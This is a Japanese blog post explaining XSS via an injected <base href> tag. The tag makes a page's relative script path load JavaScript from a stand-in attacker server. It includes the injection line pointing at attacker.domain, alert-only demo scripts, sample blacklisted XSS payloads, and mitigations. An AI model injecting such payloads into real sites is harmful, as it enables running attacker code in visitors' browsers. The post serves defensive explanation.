baseタグを利用したXSS


最近面白いHTMLタグを知ったのでXSSに使えないかなーと思い色々考えてみました。

baseタグを使うことでベースURLを変更することが出来ます。
例えば以下の様なページがあります。

http://www.huga.com/[html]
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<base href="http://www.hoge.com">
<a href="test.html">test</a>
</body>
</html>
[/html]

この時、testをクリックすると開かれるページは「http://www.huga.com/test.html」ではなく「http://www.hoge.com/test.html」となります。
そこで以下の様なシナリオを考えてみます。

ユーザに一部のタグの使用が許されている以下の様なサイトがあるとします。
考えられるものだとブログサービスとかでしょうか。

index.php(vuln.domain)
[html]
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<!– ここにユーザが入力した値を出力出来る –>
<script type="text/javascript" src="test.js"></script>
<script>hoge();</script>
</body>
</html>
[/html]

test.js(vuln.domain)
[javascript]
function hoge(){
alert("vuln.domain");
}
[/javascript]

このページを開くと「vuln.domain」という文字列がアラートで出力されます。
このサイトでは、使用できないタグや属性値、イベントハンドラはブラックリスト形式で決められています。
例:

  • <script>alert(1);</script>
  • <img src=1 onerror=alert(1);>
  • <a href=”javascript:alert(1);”>xss</a>

…etc
そんなサイトでbaseタグがブラックリストに入っていないとします。

そこでまず攻撃者は自分の管理しているサーバに以下の様なスクリプトファイルを設置します。「attacker.domain」という文字列を出力するスクリプトです。
test.js(attacker.domain)
[javascript]
function hoge(){
alert("attacker.domain");
}
[/javascript]

次に攻撃者はサイトの入力値に以下の様な文字列を入力します。
<base href=”http://attacker.domain”>
するとどうなるでしょうか。
ブラックリストにないユーザの入力値以外はエスケープもせずに出力するサイトです。
ページは以下のようになります。

index.php(vuln.domain)
[html]
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<base href="http://attacker.domain">
<script type="text/javascript" src="test.js"></script>
<script>hoge();</script>
</body>
</html>
[/html]

この時このtest.jsはどこのドメインのものが使用されるでしょうか。
そう、http://attcker.domain/test.jsが使われます。
結果、このhoge関数はhttp://attacker.domain/test.jsに定義されたhoge関数が呼び出されることになり、アラートで出力される文字列は「vuln.domain」ではなく「attacker.domain」となります。

つまりサイトの構造によっては、「<base href=”http://attacker.domain”>」という一行を書き加えられるだけでサイトの挙動を変更させることが出来てしまいます。

これを防ぐサイトの設計としては、

  • baseタグを許可しない。
  • srcを相対パスではなく絶対パスで記述する。

という手があるかと思います。

とりあえず絶対パスで書いておいたほうが吉な気はします。

追記(2014/12/20)
Base Tag Injectionなるものがあったそうです。それも1年前の投稿!w
知りませんでした・・・。
https://bugs.webkit.org/show_bug.cgi?id=99318